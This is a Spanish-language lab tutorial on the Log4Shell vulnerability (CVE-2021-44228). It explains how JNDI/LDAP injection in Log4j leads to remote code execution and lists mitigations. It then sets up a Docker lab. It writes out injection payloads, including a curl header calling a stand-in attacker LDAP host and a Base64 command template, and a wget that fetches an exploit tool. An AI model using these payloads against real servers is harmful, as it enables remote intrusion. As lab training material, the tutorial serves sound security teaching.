CVE-2021–44228 Demo

1. Introducción a CVE-2021–44228

La noticia más grande en el mundo de la ciberseguridad a finales de 2021 fue la vulnerabilidad de Log4j, numerada como CVE-2021-44228, también conocida como Log4Shell. Fue clasificada con la puntuación máxima de gravedad de 10 en el sistema de puntuación de vulnerabilidades CVSS, y se considera la vulnerabilidad más significativa en los últimos años después de Heartbleed y ShellShock. Algunos incluso la describen como una "vulnerabilidad de nivel nuclear", lo que demuestra la profundidad de su impacto. Este proyecto analiza CVE-2021-44228 y lo combina con la implementación de laboratorio.

2. Acerca de Log4j

Un archivo de registro (logfile) es un archivo que registra eventos que ocurren en un sistema operativo o software en ejecución, o mensajes intercambiados entre usuarios de software de chat en línea. Muchos sistemas operativos, marcos de software y programas incluyen sistemas de archivos de registro. Java tiene un paquete de registro muy útil llamado Log4j. Este paquete pertenece a la Apache Software Foundation, por lo que su nombre completo es Apache Log4j.

Log4j es una herramienta muy útil y ampliamente utilizada por programas Java. A menudo, los ingenieros de software necesitan escribir datos de ejecución de programas en archivos de registro o en otras bases de datos para uso futuro. Para eso sirve Log4j: puede recibir una cadena de algún lugar (por ejemplo, un ID de usuario ingresado en una pantalla de inicio de sesión) y luego escribir la cadena en otro lugar (por ejemplo, un campo de entrada de datos en el proceso de autenticación). Además de copiar/pegar básico, Log4j también puede examinar e interpretar el contenido de la cadena. Interpretar es una acción peligrosa porque, a menos que el programa procese la cadena previamente, es fácil que surjan problemas durante la interpretación. Log4j no procesa la cadena antes de interpretarla, lo que brinda a los atacantes la oportunidad de realizar ataques de inyección.

3. CVE-2021–44228

CVE-2021-44228 es una vulnerabilidad crítica porque permite que un servidor Java sea atacado por un atacante no autenticado mediante RCE (Remote Code Execution). La vulnerabilidad se origina en la forma en que log4j maneja los mensajes de registro. Si un atacante envía un mensaje manipulado (que contenga una cadena como ${jndi:ldap://rogueldapserver.com/a}), esto puede provocar la carga de una clase de código externo o una búsqueda de mensajes y la ejecución de ese código, lo que lleva a RCE.

A continuación se muestra el flujo básico de RCE.

El atacante envía una solicitud con ataque de inyección al servidor vulnerable. Por ejemplo: envía una solicitud http
```
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
```
La cadena ingresada se pasa a log4j para su registro. Al mismo tiempo, log4j también recibe ${jndi:ldap://evil.xo/x}
Log4j examina e interpreta el contenido de la cadena, y luego JNDI (Interfaz de directorio y nombres de Java) consulta al servidor LDAP. LDAP es un protocolo de red que proporciona control de acceso y mantenimiento de información distribuida en un directorio a través del protocolo IP.
El servidor LDAP es un servidor malicioso. Después de recibir la consulta JNDI, analiza el contenido inyectado y luego responde a JNDI con el directorio necesario, que contiene una clase Java maliciosa o instrucciones.
El servidor vulnerable ejecuta la respuesta recibida por JNDI: el ataque del atacante se inyecta con éxito.

Cómo defenderse de la vulnerabilidad de Log4j

Reconstruir el paquete del programa utilizando la última versión de Log4j (la versión actual es 2.17.xx). Además, verifique las últimas correcciones en el sitio web de Apache Foundation.
Implementar un WAF (Firewall de aplicaciones web) definiendo reglas de intrusión para filtrar las cadenas de entrada de log4j. Sin embargo, este es un método más paliativo que curativo; los atacantes pueden ocultar cadenas, por ejemplo, usando cifrado base64 para evitar la detección de escaneo de texto.
Deshabilitar temporalmente la función de registro, hasta que se corrija o
Se actualice el código. Es posible que deba comentar todas las llamadas a Log4j, lo que podría hacer que la aplicación pierda algunas funciones, por ejemplo, ya no pueda enviar mensajes de un usuario a otro. Por cierto, así fue como se descubrió esta vulnerabilidad: un jugador de Minecraft descubrió que si pegaban comandos de Log4j en el cuadro de chat, estos mensajes se ejecutaban directamente como comandos, en lugar de enviarse como mensajes.

Lab Environment

1. Configuración del entorno

Descargue la máquina virtual SEED Ubuntu 20.04. Esta VM proporciona un entorno Docker preinstalado. Descargar

Descargar JNDIExploit

$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip

Configuración del contenedor

$ docker-compose build  # Construir la imagen del contenedor
$ docker-compose up     # Iniciar el contenedor
$ docker-compose down   # Detener el contenedor

# Alias para los comandos de Compose anteriores
$ dcbuild   # Alias para: docker-compose build
$ dcup      # Alias para: docker-compose up
$ dcdown    # Alias para: docker-compose down

Comandos del contenedor

$ dockps        # Alias para: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # Alias para: docker exec -it <id> /bin/bash

# El siguiente ejemplo muestra cómo obtener un shell dentro de hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#

Para simplificar los pasos, todos los servidores están en la misma LAN.

Lab Task

Task 1: Usar Log4j

En esta tarea, el usuario puede familiarizarse con cómo funciona log4j. El usuario puede usar el encabezado X-Api-Version para que log4j registre un log.

# <> son partes que el usuario debe modificar
$ curl <ip-del-servidor> -H 'X-Api-Version: <número-de-versión>'

Si el servidor analiza correctamente la solicitud que envió, devolverá un Hello World!. Registre en el informe el resultado devuelto por el servidor y si el servidor analizó correctamente la solicitud y registró el log.

Task 2: Lanzar Log4Shell

En 2013, el paquete Log4j agregó el "complemento JNDILookup", que permite a los desarrolladores utilizar JNDI junto con LDAP para obtener objetos de datos Java de otros JNDITutorial externos.

A continuación, usaremos el log4j que acabamos de usar junto con JNDIExploit para que el servidor ejecute el comando que queremos.

# <> son partes que el usuario debe modificar
$ curl <ip-del-servidor> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<contenido>}'

Cree un archivo secret.txt en la carpeta /tmp y entre al servidor para confirmar si el archivo se creó correctamente.

Nota-1: <contenido> no puede contener comandos directamente; deben convertirse.
Nota-2: Dado que vulnerable-app no tiene el shell /bin/bash, si desea verificar el archivo, puede usar el comando docker

$ docker exec vulnerable-app ls /tmp

Uso detallado de JNDIExploit

Task 3: Modificar archivo del servidor

Después de la tarea anterior, descubrimos que vulnerable-app ejecuta cualquier comando base64 del atacante. Si el atacante quiere realizar operaciones más complejas, puede enviar un script de ataque shell script para que el servidor lo ejecute.

Log4Shell-CVE-2021-44228-Demo

Más Populares